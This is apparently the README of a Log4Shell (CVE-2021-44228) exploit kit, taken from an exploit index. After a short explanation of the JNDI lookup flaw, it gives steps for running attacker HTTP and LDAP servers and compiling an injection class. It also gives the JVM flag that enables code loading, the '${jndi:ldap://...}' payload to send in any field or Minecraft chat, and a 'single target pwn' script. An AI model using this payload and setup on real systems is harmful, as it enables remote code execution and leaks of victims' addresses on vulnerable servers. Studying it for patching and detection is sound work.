## https://sploitus.com/exploit?id=4066A0A4-284D-5ECC-A476-ADDA61AF9A76
# log4j2-prosecutor
## Motivation
<p>This fundamental vulnerability was reported by [CVE-2018-3149](https://nvd.nist.gov/vuln/detail/CVE-2018-3149) and patched by [this article. (8u121 Release Notes)](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)</p>
<p>However, the logging library for java called log4j2 had (JNDILookup)[CVE-2021-44228](https://github.com/apache/logging-log4j2/blob/20f9a97dbe5928c3b5077bcdd2a22ac92e941655/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java), which allowed access to protocols such as LDAP, which allowed code injection in older java versions.</p>
<p>Patched versions of java can prevent code injection, but `JNDILookup` makes request to ldap server, which can lead to IP leaks.</p>
<p>The solution is to update **Java** and **log4j2** versions.</p>
## Running
0. Install requirements
```
cd http-server && npm install && cd ../ldap-server && npm install
```
1. run `http-server` and `ldap-server` both
```
cd http-server && node index.js &
cd ldap-server && node index.js
```
2. Compile Main.java
```bash
# This will generate Main.java - required to code injection .
# OSx
./java-single-compile <Main.java>
# Linux
javac <Main.java>
```
3. Start jvm with parameters
```bash
# You can still use log4j-client in repo for internal testing.
cd log4j-client &&\
gradle jar &&\
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/log4j-client-1.0-SNAPSHOT.jar
# Or run other application, com.sun.jndi.ldap.object.trustURLCodebase=true required for code injection, otherwise it will only request to ldap server.
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar <javafile.jar>
```
4. Send payload to any parameters as the payload
(In minecraft, just chatting this will work if exploit's working.)
```
${jndi:ldap://127.0.0.1:3001/}
```
5. cleanup
```
NODEP=`pgrep node`
for id in $NODEP; do
kill $id
done
```
## Scripts
```
# Single target pwn
# Edit exploit-configs.txt with url and params
cd scripts/single-pwn && python3 __main__.py
```
## References
- https://github.com/apache/logging-log4j2/pull/608
- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://github.com/NCSC-NL/log4shell
- https://github.com/ilsubyeega/log4j2-exploits/
- https://raw.githubusercontent.com/ferderplays/Log4j_exploit/main/Exploit.java
- https://www.blumira.com/analysis-log4shell-local-trigger/ (todo)
## License [GPL3]
See License in LICENSE